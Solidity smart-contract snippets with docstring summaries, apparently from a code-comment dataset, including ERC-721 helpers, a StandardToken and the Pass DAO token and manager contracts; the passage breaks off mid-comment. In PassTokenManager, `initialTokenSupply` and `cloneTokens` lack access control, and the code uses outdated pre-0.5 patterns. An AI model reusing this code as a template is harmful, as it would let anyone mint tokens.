* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId)
private
{
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = GenArtCollectionDrop.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
|
Destroys `tokenId`. The approval is cleared when the token is burned. Requirements: - `tokenId` must exist. Emits a {Transfer} event./ Clear approvals
|
function _burn(uint256 tokenId) internal virtual {
address owner = GenArtCollectionDrop.ownerOf(tokenId);
require(
_msgSender() == owner,
"GenArtCollectionDrop: only token owner can burn"
);
_beforeTokenTransfer(owner, address(0), tokenId);
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
| 15,807,877 |
pragma solidity ^0.4.24;
import "./AbstractToken.sol";
/// @title Standard token contract
/// @author Stefan George - <[email protected]>
contract StandardToken is Token {
/*
* Data structures
*/
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
constructor (uint _totalSupply) public {
totalSupply = _totalSupply;
balances[msg.sender] = _totalSupply;
emit Transfer(0x0, msg.sender, _totalSupply);
}
/*
* Read and write storage functions
*/
/// @dev Transfers sender's tokens to a given address. Returns success.
/// @param _to Address of token receiver.
/// @param _value Number of tokens to transfer.
function transfer(address _to, uint256 _value) public returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
else {
return false;
}
}
/// @dev Allows allowed third party to transfer tokens from one address to another. Returns success.
/// @param _from Address from where tokens are withdrawn.
/// @param _to Address to where tokens are sent.
/// @param _value Number of tokens to transfer.
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
}
else {
return false;
}
}
/// @dev Returns number of tokens owned by given address.
/// @param _owner Address of token owner.
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
/// @dev Sets approved amount of tokens for spender. Returns success.
/// @param _spender Address of allowed account.
/// @param _value Number of approved tokens.
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/*
* Read storage functions
*/
/// @dev Returns number of allowed tokens for given address.
/// @param _owner Address of token owner.
/// @param _spender Address of token spender.
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
|
Read and write storage functions/ Transfers sender's tokens to a given address. Returns success. _to Address of token receiver. _value Number of tokens to transfer.
|
function transfer(address _to, uint256 _value) public returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
else {
return false;
}
}
| 15,800,563 |
./partial_match/42/0xAf28207B8266B79665cf38AF6d8376AF981dAd0d/sources/CyclopsBank.sol
|
not bullet-proof check, but additional measure, not to allow buy & sell from contracts/
|
function isContract(address _addr) internal view returns (bool){
uint32 size;
assembly {
size := extcodesize(_addr)
}
return (size > 0);
}
| 3,313,091 |
pragma solidity ^0.4.8;
/*
This file is part of Pass DAO.
Pass DAO is free software: you can redistribute it and/or modify
it under the terms of the GNU lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Pass DAO is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU lesser General Public License for more details.
You should have received a copy of the GNU lesser General Public License
along with Pass DAO. If not, see <http://www.gnu.org/licenses/>.
*/
/*
Smart contract for a Decentralized Autonomous Organization (DAO)
to automate organizational governance and decision-making.
*/
/// @title Pass Dao smart contract
contract PassDao {
struct revision {
// Address of the Committee Room smart contract
address committeeRoom;
// Address of the share manager smart contract
address shareManager;
// Address of the token manager smart contract
address tokenManager;
// Address of the project creator smart contract
uint startDate;
}
// The revisions of the application until today
revision[] public revisions;
struct project {
// The address of the smart contract
address contractAddress;
// The unix effective start date of the contract
uint startDate;
}
// The projects of the Dao
project[] public projects;
// Map with the indexes of the projects
mapping (address => uint) projectID;
// The address of the meta project
address metaProject;
// Events
event Upgrade(uint indexed RevisionID, address CommitteeRoom, address ShareManager, address TokenManager);
event NewProject(address Project);
// Constant functions
/// @return The effective committee room
function ActualCommitteeRoom() constant returns (address) {
return revisions[0].committeeRoom;
}
/// @return The meta project
function MetaProject() constant returns (address) {
return metaProject;
}
/// @return The effective share manager
function ActualShareManager() constant returns (address) {
return revisions[0].shareManager;
}
/// @return The effective token manager
function ActualTokenManager() constant returns (address) {
return revisions[0].tokenManager;
}
// modifiers
modifier onlyPassCommitteeRoom {if (msg.sender != revisions[0].committeeRoom
&& revisions[0].committeeRoom != 0) throw; _;}
// Constructor function
function PassDao() {
projects.length = 1;
revisions.length = 1;
}
// Register functions
/// @dev Function to allow the actual Committee Room upgrading the application
/// @param _newCommitteeRoom The address of the new committee room
/// @param _newShareManager The address of the new share manager
/// @param _newTokenManager The address of the new token manager
/// @return The index of the revision
function upgrade(
address _newCommitteeRoom,
address _newShareManager,
address _newTokenManager) onlyPassCommitteeRoom returns (uint) {
uint _revisionID = revisions.length++;
revision r = revisions[_revisionID];
if (_newCommitteeRoom != 0) r.committeeRoom = _newCommitteeRoom; else r.committeeRoom = revisions[0].committeeRoom;
if (_newShareManager != 0) r.shareManager = _newShareManager; else r.shareManager = revisions[0].shareManager;
if (_newTokenManager != 0) r.tokenManager = _newTokenManager; else r.tokenManager = revisions[0].tokenManager;
r.startDate = now;
revisions[0] = r;
Upgrade(_revisionID, _newCommitteeRoom, _newShareManager, _newTokenManager);
return _revisionID;
}
/// @dev Function to set the meta project
/// @param _projectAddress The address of the meta project
function addMetaProject(address _projectAddress) onlyPassCommitteeRoom {
metaProject = _projectAddress;
}
/// @dev Function to allow the committee room to add a project when ordering
/// @param _projectAddress The address of the project
function addProject(address _projectAddress) onlyPassCommitteeRoom {
if (projectID[_projectAddress] == 0) {
uint _projectID = projects.length++;
project p = projects[_projectID];
projectID[_projectAddress] = _projectID;
p.contractAddress = _projectAddress;
p.startDate = now;
NewProject(_projectAddress);
}
}
}
pragma solidity ^0.4.8;
/*
*
* This file is part of Pass DAO.
*
* The Manager smart contract is used for the management of shares and tokens.
*
*/
/// @title Token Manager smart contract of the Pass Decentralized Autonomous Organisation
contract PassTokenManagerInterface {
// The Pass Dao smart contract
PassDao public passDao;
// The adress of the creator of this smart contract
address creator;
// The token name for display purpose
string public name;
// The token symbol for display purpose
string public symbol;
// The quantity of decimals for display purpose
uint8 public decimals;
// Total amount of tokens
uint256 totalTokenSupply;
// True if tokens, false if Dao shares
bool token;
// If true, the shares or tokens can be transferred
bool transferable;
// The address of the last Manager before cloning
address public clonedFrom;
// True if the initial token supply is over
bool initialTokenSupplyDone;
// Array of token or share holders (used for cloning)
address[] holders;
// Map with the indexes of the holders (used for cloning)
mapping (address => uint) holderID;
// Array with all balances
mapping (address => uint256) balances;
// Array with all allowances
mapping (address => mapping (address => uint256)) allowed;
struct funding {
// The address which sets partners and manages the funding (not mandatory)
address moderator;
// The amount (in wei) of the funding
uint amountToFund;
// The funded amount (in wei)
uint fundedAmount;
// A unix timestamp, denoting the start time of the funding
uint startTime;
// A unix timestamp, denoting the closing time of the funding
uint closingTime;
// The price multiplier for a share or a token without considering the inflation rate
uint initialPriceMultiplier;
// Rate per year in percentage applied to the share or token price
uint inflationRate;
// The total amount of wei given
uint totalWeiGiven;
}
// Map with the fundings rules for each Dao proposal
mapping (uint => funding) public fundings;
// The index of the last funding and proposal
uint lastProposalID;
// The index of the last fueled funding and proposal
uint public lastFueledFundingID;
struct amountsGiven {
uint weiAmount;
uint tokenAmount;
}
// Map with the amounts given for each proposal
mapping (uint => mapping (address => amountsGiven)) public Given;
// Map of blocked Dao share accounts. Points to the date when the share holder can transfer shares
mapping (address => uint) public blockedDeadLine;
// @return The client of this manager
function Client() constant returns (address);
/// @return The total supply of shares or tokens
function totalSupply() constant external returns (uint256);
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant external returns (uint256 balance);
/// @return True if tokens can be transferred
function Transferable() constant external returns (bool);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Quantity of remaining tokens of _owner that _spender is allowed to spend
function allowance(address _owner, address _spender) constant external returns (uint256 remaining);
/// @param _proposalID Index of the funding or proposal
/// @return The result (in wei) of the funding
function FundedAmount(uint _proposalID) constant external returns (uint);
/// @param _proposalID Index of the funding or proposal
/// @return The amount to fund
function AmountToFund(uint _proposalID) constant external returns (uint);
/// @param _proposalID Index of the funding or proposal
/// @return the token price multiplier
function priceMultiplier(uint _proposalID) constant internal returns (uint);
/// @param _proposalID Index of the funding or proposal
/// @param _saleDate in case of presale, the date of the presale
/// @return the share or token price divisor condidering the sale date and the inflation rate
function priceDivisor(
uint _proposalID,
uint _saleDate) constant internal returns (uint);
/// @param _proposalID Index of the funding or proposal
/// @return the actual price divisor of a share or token
function actualPriceDivisor(uint _proposalID) constant internal returns (uint);
/// @dev Internal function to calculate the amount in tokens according to a price
/// @param _weiAmount The amount (in wei)
/// @param _priceMultiplier The price multiplier
/// @param _priceDivisor The price divisor
/// @return the amount in tokens
function TokenAmount(
uint _weiAmount,
uint _priceMultiplier,
uint _priceDivisor) constant internal returns (uint);
/// @dev Internal function to calculate the amount in wei according to a price
/// @param _tokenAmount The amount (in wei)
/// @param _priceMultiplier The price multiplier
/// @param _priceDivisor The price divisor
/// @return the amount in wei
function weiAmount(
uint _tokenAmount,
uint _priceMultiplier,
uint _priceDivisor) constant internal returns (uint);
/// @param _tokenAmount The amount in tokens
/// @param _proposalID Index of the client proposal. 0 if not linked to a proposal.
/// @return the actual token price in wei
function TokenPriceInWei(uint _tokenAmount, uint _proposalID) constant returns (uint);
/// @return The index of the last funding and client's proposal
function LastProposalID() constant returns (uint);
/// @return The number of share or token holders (used for cloning)
function numberOfHolders() constant returns (uint);
/// @param _index The index of the holder
/// @return the address of the holder
function HolderAddress(uint _index) constant external returns (address);
/// @dev The constructor function
/// @param _passDao Address of the pass Dao smart contract
/// @param _clonedFrom The address of the last Manager before cloning
/// @param _tokenName The token name for display purpose
/// @param _tokenSymbol The token symbol for display purpose
/// @param _tokenDecimals The quantity of decimals for display purpose
/// @param _token True if tokens, false if shares
/// @param _transferable True if tokens can be transferred
/// @param _initialPriceMultiplier Price multiplier without considering any inflation rate
/// @param _inflationRate If 0, the token price doesn't change during the funding
//function PassTokenManager(
// address _passDao,
// address _clonedFrom,
// string _tokenName,
// string _tokenSymbol,
// uint8 _tokenDecimals,
// bool _token,
// bool _transferable,
// uint _initialPriceMultiplier,
// uint _inflationRate);
/// @dev Function to create initial tokens
/// @param _recipient The beneficiary of the created tokens
/// @param _quantity The quantity of tokens to create
/// @param _last True if the initial token suppy is over
/// @return Whether the function was successful or not
function initialTokenSupply(
address _recipient,
uint _quantity,
bool _last) returns (bool success);
/// @notice Function to clone tokens before upgrading
/// @param _from The index of the first holder
/// @param _to The index of the last holder
/// @return Whether the function was successful or not
function cloneTokens(
uint _from,
uint _to) returns (bool success);
/// @dev Internal function to add a new token or share holder
/// @param _holder The address of the token or share holder
function addHolder(address _holder) internal;
/// @dev Internal function to create initial tokens
/// @param _holder The beneficiary of the created tokens
/// @param _tokenAmount The amount in tokens to create
function createTokens(
address _holder,
uint _tokenAmount) internal;
/// @notice Function used by the client to pay with shares or tokens
/// @param _recipient The address of the recipient of shares or tokens
/// @param _amount The amount (in Wei) to calculate the quantity of shares or tokens to create
/// @return the rewarded amount in tokens or shares
function rewardTokensForClient(
address _recipient,
uint _amount) external returns (uint);
/// @notice Function to set a funding
/// @param _moderator The address of the smart contract to manage a private funding
/// @param _initialPriceMultiplier Price multiplier without considering any inflation rate
/// @param _amountToFund The amount (in wei) of the funding
/// @param _minutesFundingPeriod Period in minutes of the funding
/// @param _inflationRate If 0, the token price doesn't change during the funding
/// @param _proposalID Index of the client proposal
function setFundingRules(
address _moderator,
uint _initialPriceMultiplier,
uint _amountToFund,
uint _minutesFundingPeriod,
uint _inflationRate,
uint _proposalID) external;
/// @dev Internal function for the sale of shares or tokens
/// @param _proposalID Index of the client proposal
/// @param _recipient The recipient address of shares or tokens
/// @param _amount The funded amount (in wei)
/// @param _saleDate In case of presale, the date of the presale
/// @param _presale True if presale
/// @return Whether the creation was successful or not
function sale(
uint _proposalID,
address _recipient,
uint _amount,
uint _saleDate,
bool _presale
) internal returns (bool success);
/// @dev Internal function to close the actual funding
/// @param _proposalID Index of the client proposal
function closeFunding(uint _proposalID) internal;
/// @notice Function to send tokens or refund after the closing time of the funding proposals
/// @param _from The first proposal. 0 if not linked to a proposal
/// @param _to The last proposal
/// @param _buyer The address of the buyer
/// @return Whether the function was successful or not
function sendPendingAmounts(
uint _from,
uint _to,
address _buyer) returns (bool);
/// @notice Function to get fees, shares or refund after the closing time of the funding proposals
/// @return Whether the function was successful or not
function withdrawPendingAmounts() returns (bool);
/// @notice Function used by the main partner to set the start time of the funding
/// @param _proposalID Index of the client proposal
/// @param _startTime The unix start date of the funding
function setFundingStartTime(
uint _proposalID,
uint _startTime) external;
/// @notice Function used by the main partner to set the funding fueled
/// @param _proposalID Index of the client proposal
function setFundingFueled(uint _proposalID) external;
/// @notice Function to able the transfer of Dao shares or contractor tokens
function ableTransfer();
/// @notice Function to disable the transfer of Dao shares
function disableTransfer();
/// @notice Function used by the client to block the transfer of shares from and to a share holder
/// @param _shareHolder The address of the share holder
/// @param _deadLine When the account will be unblocked
function blockTransfer(
address _shareHolder,
uint _deadLine) external;
/// @dev Internal function to send `_value` token to `_to` from `_From`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The quantity of shares or tokens to be transferred
/// @return Whether the function was successful or not
function transferFromTo(
address _from,
address _to,
uint256 _value
) internal returns (bool success);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The quantity of shares or tokens to be transferred
/// @return Whether the function was successful or not
function transfer(address _to, uint256 _value) returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The quantity of shares or tokens to be transferred
function transferFrom(
address _from,
address _to,
uint256 _value
) returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on its behalf
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(
address _spender,
uint256 _value) returns (bool success);
event TokensCreated(address indexed Sender, address indexed TokenHolder, uint TokenAmount);
event FundingRulesSet(address indexed Moderator, uint indexed ProposalId, uint AmountToFund, uint indexed StartTime, uint ClosingTime);
event FundingFueled(uint indexed ProposalID, uint FundedAmount);
event TransferAble();
event TransferDisable();
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Refund(address indexed Buyer, uint Amount);
}
contract PassTokenManager is PassTokenManagerInterface {
// Constant functions
function Client() constant returns (address) {
return passDao.ActualCommitteeRoom();
}
function totalSupply() constant external returns (uint256) {
return totalTokenSupply;
}
function balanceOf(address _owner) constant external returns (uint256 balance) {
return balances[_owner];
}
function Transferable() constant external returns (bool) {
return transferable;
}
function allowance(
address _owner,
address _spender) constant external returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function FundedAmount(uint _proposalID) constant external returns (uint) {
return fundings[_proposalID].fundedAmount;
}
function AmountToFund(uint _proposalID) constant external returns (uint) {
if (now > fundings[_proposalID].closingTime
|| now < fundings[_proposalID].startTime) {
return 0;
} else return fundings[_proposalID].amountToFund;
}
function priceMultiplier(uint _proposalID) constant internal returns (uint) {
return fundings[_proposalID].initialPriceMultiplier;
}
function priceDivisor(uint _proposalID, uint _saleDate) constant internal returns (uint) {
uint _date = _saleDate;
if (_saleDate > fundings[_proposalID].closingTime) _date = fundings[_proposalID].closingTime;
if (_saleDate < fundings[_proposalID].startTime) _date = fundings[_proposalID].startTime;
return 100 + 100*fundings[_proposalID].inflationRate*(_date - fundings[_proposalID].startTime)/(100*365 days);
}
function actualPriceDivisor(uint _proposalID) constant internal returns (uint) {
return priceDivisor(_proposalID, now);
}
function TokenAmount(
uint _weiAmount,
uint _priceMultiplier,
uint _priceDivisor) constant internal returns (uint) {
uint _a = _weiAmount*_priceMultiplier;
uint _multiplier = 100*_a;
uint _amount = _multiplier/_priceDivisor;
if (_a/_weiAmount != _priceMultiplier
|| _multiplier/100 != _a) return 0;
return _amount;
}
function weiAmount(
uint _tokenAmount,
uint _priceMultiplier,
uint _priceDivisor) constant internal returns (uint) {
uint _multiplier = _tokenAmount*_priceDivisor;
uint _divisor = 100*_priceMultiplier;
uint _amount = _multiplier/_divisor;
if (_multiplier/_tokenAmount != _priceDivisor
|| _divisor/100 != _priceMultiplier) return 0;
return _amount;
}
function TokenPriceInWei(uint _tokenAmount, uint _proposalID) constant returns (uint) {
return weiAmount(_tokenAmount, priceMultiplier(_proposalID), actualPriceDivisor(_proposalID));
}
function LastProposalID() constant returns (uint) {
return lastProposalID;
}
function numberOfHolders() constant returns (uint) {
return holders.length - 1;
}
function HolderAddress(uint _index) constant external returns (address) {
return holders[_index];
}
// Modifiers
// Modifier that allows only the client ..
modifier onlyClient {if (msg.sender != Client()) throw; _;}
// Modifier for share Manager functions
modifier onlyShareManager {if (token) throw; _;}
// Modifier for token Manager functions
modifier onlyTokenManager {if (!token) throw; _;}
// Constructor function
function PassTokenManager(
PassDao _passDao,
address _clonedFrom,
string _tokenName,
string _tokenSymbol,
uint8 _tokenDecimals,
bool _token,
bool _transferable,
uint _initialPriceMultiplier,
uint _inflationRate) {
passDao = _passDao;
creator = msg.sender;
clonedFrom = _clonedFrom;
name = _tokenName;
symbol = _tokenSymbol;
decimals = _tokenDecimals;
token = _token;
transferable = _transferable;
fundings[0].initialPriceMultiplier = _initialPriceMultiplier;
fundings[0].inflationRate = _inflationRate;
holders.length = 1;
}
// Setting functions
function initialTokenSupply(
address _recipient,
uint _quantity,
bool _last) returns (bool success) {
if (initialTokenSupplyDone) throw;
addHolder(_recipient);
if (_recipient != 0 && _quantity != 0) createTokens(_recipient, _quantity);
if (_last) initialTokenSupplyDone = true;
return true;
}
function cloneTokens(
uint _from,
uint _to) returns (bool success) {
initialTokenSupplyDone = true;
if (_from == 0) _from = 1;
PassTokenManager _clonedFrom = PassTokenManager(clonedFrom);
uint _numberOfHolders = _clonedFrom.numberOfHolders();
if (_to == 0 || _to > _numberOfHolders) _to = _numberOfHolders;
address _holder;
uint _balance;
for (uint i = _from; i <= _to; i++) {
_holder = _clonedFrom.HolderAddress(i);
_balance = _clonedFrom.balanceOf(_holder);
if (balances[_holder] == 0 && _balance != 0) {
addHolder(_holder);
createTokens(_holder, _balance);
}
}
}
// Token creation
function addHolder(address _holder) internal {
if (holderID[_holder] == 0) {
uint _holderID = holders.length++;
holders[_holderID] = _holder;
holderID[_holder] = _holderID;
}
}
function createTokens(
address _holder,
uint _tokenAmount) internal {
balances[_holder] += _tokenAmount;
totalTokenSupply += _tokenAmount;
TokensCreated(msg.sender, _holder, _tokenAmount);
}
function rewardTokensForClient(
address _recipient,
uint _amount
) external onlyClient returns (uint) {
uint _tokenAmount = TokenAmount(_amount, priceMultiplier(0), actualPriceDivisor(0));
if (_tokenAmount == 0) throw;
addHolder(_recipient);
createTokens(_recipient, _tokenAmount);
return _tokenAmount;
}
function setFundingRules(
address _moderator,
uint _initialPriceMultiplier,
uint _amountToFund,
uint _minutesFundingPeriod,
uint _inflationRate,
uint _proposalID
) external onlyClient {
if (_moderator == address(this)
|| _moderator == Client()
|| _amountToFund == 0
|| _minutesFundingPeriod == 0
|| fundings[_proposalID].totalWeiGiven != 0
) throw;
fundings[_proposalID].moderator = _moderator;
fundings[_proposalID].amountToFund = _amountToFund;
fundings[_proposalID].fundedAmount = 0;
if (_initialPriceMultiplier == 0) {
if (now < fundings[0].closingTime) {
fundings[_proposalID].initialPriceMultiplier = 100*priceMultiplier(lastProposalID)/actualPriceDivisor(lastProposalID);
} else {
fundings[_proposalID].initialPriceMultiplier = 100*priceMultiplier(lastFueledFundingID)/actualPriceDivisor(lastFueledFundingID);
}
fundings[0].initialPriceMultiplier = fundings[_proposalID].initialPriceMultiplier;
}
else {
fundings[_proposalID].initialPriceMultiplier = _initialPriceMultiplier;
fundings[0].initialPriceMultiplier = _initialPriceMultiplier;
}
if (_inflationRate == 0) fundings[_proposalID].inflationRate = fundings[0].inflationRate;
else {
fundings[_proposalID].inflationRate = _inflationRate;
fundings[0].inflationRate = _inflationRate;
}
fundings[_proposalID].startTime = now;
fundings[0].startTime = now;
fundings[_proposalID].closingTime = now + _minutesFundingPeriod * 1 minutes;
fundings[0].closingTime = fundings[_proposalID].closingTime;
fundings[_proposalID].totalWeiGiven = 0;
lastProposalID = _proposalID;
FundingRulesSet(_moderator, _proposalID, _amountToFund, fundings[_proposalID].startTime, fundings[_proposalID].closingTime);
}
function sale(
uint _proposalID,
address _recipient,
uint _amount,
uint _saleDate,
bool _presale) internal returns (bool success) {
if (_saleDate == 0) _saleDate = now;
if (_saleDate > fundings[_proposalID].closingTime
|| _saleDate < fundings[_proposalID].startTime
|| fundings[_proposalID].totalWeiGiven + _amount > fundings[_proposalID].amountToFund) return;
uint _tokenAmount = TokenAmount(_amount, priceMultiplier(_proposalID), priceDivisor(_proposalID, _saleDate));
if (_tokenAmount == 0) return;
addHolder(_recipient);
if (_presale) {
Given[_proposalID][_recipient].tokenAmount += _tokenAmount;
}
else createTokens(_recipient, _tokenAmount);
return true;
}
function closeFunding(uint _proposalID) internal {
fundings[_proposalID].fundedAmount = fundings[_proposalID].totalWeiGiven;
lastFueledFundingID = _proposalID;
fundings[_proposalID].closingTime = now;
FundingFueled(_proposalID, fundings[_proposalID].fundedAmount);
}
function sendPendingAmounts(
uint _from,
uint _to,
address _buyer) returns (bool) {
if (_from == 0) _from = 1;
if (_to == 0) _to = lastProposalID;
if (_buyer == 0) _buyer = msg.sender;
uint _amount;
uint _tokenAmount;
for (uint i = _from; i <= _to; i++) {
if (now > fundings[i].closingTime && Given[i][_buyer].weiAmount != 0) {
if (fundings[i].fundedAmount == 0) _amount += Given[i][_buyer].weiAmount;
else _tokenAmount += Given[i][_buyer].tokenAmount;
fundings[i].totalWeiGiven -= Given[i][_buyer].weiAmount;
Given[i][_buyer].tokenAmount = 0;
Given[i][_buyer].weiAmount = 0;
}
}
if (_tokenAmount > 0) {
createTokens(_buyer, _tokenAmount);
return true;
}
if (_amount > 0) {
if (!_buyer.send(_amount)) throw;
Refund(_buyer, _amount);
} else return true;
}
function withdrawPendingAmounts() returns (bool) {
return sendPendingAmounts(0, 0, msg.sender);
}
// Funding Moderator functions
function setFundingStartTime(uint _proposalID, uint _startTime) external {
if ((msg.sender != fundings[_proposalID].moderator) || now > fundings[_proposalID].closingTime) throw;
fundings[_proposalID].startTime = _startTime;
}
function setFundingFueled(uint _proposalID) external {
if ((msg.sender != fundings[_proposalID].moderator) || now > fundings[_proposalID].closingTime) throw;
closeFunding(_proposalID);
}
// Tokens transfer management
function ableTransfer() onlyClient {
if (!transferable) {
transferable = true;
TransferAble();
}
}
function disableTransfer() onlyClient {
if (transferable) {
transferable = false;
TransferDisable();
}
}
function blockTransfer(address _shareHolder, uint _deadLine) external onlyClient onlyShareManager {
if (_deadLine > blockedDeadLine[_shareHolder]) {
blockedDeadLine[_shareHolder] = _deadLine;
}
}
function transferFromTo(
address _from,
address _to,
uint256 _value
) internal returns (bool success) {
if ((transferable)
&& now > blockedDeadLine[_from]
&& now > blockedDeadLine[_to]
&& _to != address(this)
&& balances[_from] >= _value
&& balances[_to] + _value > balances[_to]) {
addHolder(_to);
balances[_from] -= _value;
balances[_to] += _value;
Transfer(_from, _to, _value);
return true;
} else return false;
}
function transfer(address _to, uint256 _value) returns (bool success) {
if (!transferFromTo(msg.sender, _to, _value)) throw;
return true;
}
function transferFrom(
address _from,
address _to,
uint256 _value
) returns (bool success) {
if (allowed[_from][msg.sender] < _value
|| !transferFromTo(_from, _to, _value)) throw;
allowed[_from][msg.sender] -= _value;
return true;
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
return true;
}
}
pragma solidity ^0.4.8;
/*
*
* This file is part of Pass DAO.
*
* The Manager smart contract is used for the management of the Dao account, shares and tokens.
*
*/
/// @title Manager smart contract of the Pass Decentralized Autonomous Organisation
contract PassManager is PassTokenManager {
struct order {
address buyer;
uint weiGiven;
}
// Orders to buy tokens
order[] public orders;
// Number or orders to buy tokens
uint numberOfOrders;
// Map to know if an order was cloned from the precedent manager after an upgrade
mapping (uint => bool) orderCloned;
function PassManager(
PassDao _passDao,
address _clonedFrom,
string _tokenName,
string _tokenSymbol,
uint8 _tokenDecimals,
bool _token,
bool _transferable,
uint _initialPriceMultiplier,
uint _inflationRate)
PassTokenManager( _passDao, _clonedFrom, _tokenName, _tokenSymbol, _tokenDecimals,
_token, _transferable, _initialPriceMultiplier, _inflationRate) { }
/// @notice Function to receive payments
function () payable onlyShareManager { }
/// @notice Function used by the client to send ethers
/// @param _recipient The address to send to
/// @param _amount The amount (in wei) to send
/// @return Whether the transfer was successful or not
function sendTo(
address _recipient,
uint _amount
) external onlyClient returns (bool) {
if (_recipient.send(_amount)) return true;
else return false;
}
/// @dev Internal function to buy tokens and promote a proposal
/// @param _proposalID The index of the proposal
/// @param _buyer The address of the buyer
/// @param _date The unix date to consider for the share or token price calculation
/// @param _presale True if presale
/// @return Whether the function was successful or not
function buyTokensFor(
uint _proposalID,
address _buyer,
uint _date,
bool _presale) internal returns (bool) {
if (_proposalID == 0 || !sale(_proposalID, _buyer, msg.value, _date, _presale)) throw;
fundings[_proposalID].totalWeiGiven += msg.value;
if (fundings[_proposalID].totalWeiGiven == fundings[_proposalID].amountToFund) closeFunding(_proposalID);
Given[_proposalID][_buyer].weiAmount += msg.value;
return true;
}
/// @notice Function to buy tokens and promote a proposal
/// @param _proposalID The index of the proposal
/// @param _buyer The address of the buyer (not mandatory, msg.sender if 0)
/// @return Whether the function was successful or not
function buyTokensForProposal(
uint _proposalID,
address _buyer) payable returns (bool) {
if (_buyer == 0) _buyer = msg.sender;
if (fundings[_proposalID].moderator != 0) throw;
return buyTokensFor(_proposalID, _buyer, now, true);
}
/// @notice Function used by the moderator to buy shares or tokens
/// @param _proposalID Index of the client proposal
/// @param _buyer The address of the recipient of shares or tokens
/// @param _date The unix date to consider for the share or token price calculation
/// @param _presale True if presale
/// @return Whether the function was successful or not
function buyTokenFromModerator(
uint _proposalID,
address _buyer,
uint _date,
bool _presale) payable external returns (bool){
if (msg.sender != fundings[_proposalID].moderator) throw;
return buyTokensFor(_proposalID, _buyer, _date, _presale);
}
/// @dev Internal function to create a buy order
/// @param _buyer The address of the buyer
/// @param _weiGiven The amount in wei given by the buyer
function addOrder(
address _buyer,
uint _weiGiven) internal {
uint i;
numberOfOrders += 1;
if (numberOfOrders > orders.length) i = orders.length++;
else i = numberOfOrders - 1;
orders[i].buyer = _buyer;
orders[i].weiGiven = _weiGiven;
}
/// @dev Internal function to remove a buy order
/// @param _order The index of the order to remove
function removeOrder(uint _order) internal {
if (numberOfOrders - 1 < _order) return;
numberOfOrders -= 1;
if (numberOfOrders > 0) {
for (uint i = _order; i <= numberOfOrders - 1; i++) {
orders[i].buyer = orders[i+1].buyer;
orders[i].weiGiven = orders[i+1].weiGiven;
}
}
orders[numberOfOrders].buyer = 0;
orders[numberOfOrders].weiGiven = 0;
}
/// @notice Function to create orders to buy tokens
/// @return Whether the function was successful or not
function buyTokens() payable returns (bool) {
if (!transferable || msg.value < 100 finney) throw;
addOrder(msg.sender, msg.value);
return true;
}
/// @notice Function to sell tokens
/// @param _tokenAmount in tokens to sell
/// @param _from Index of the first order
/// @param _to Index of the last order
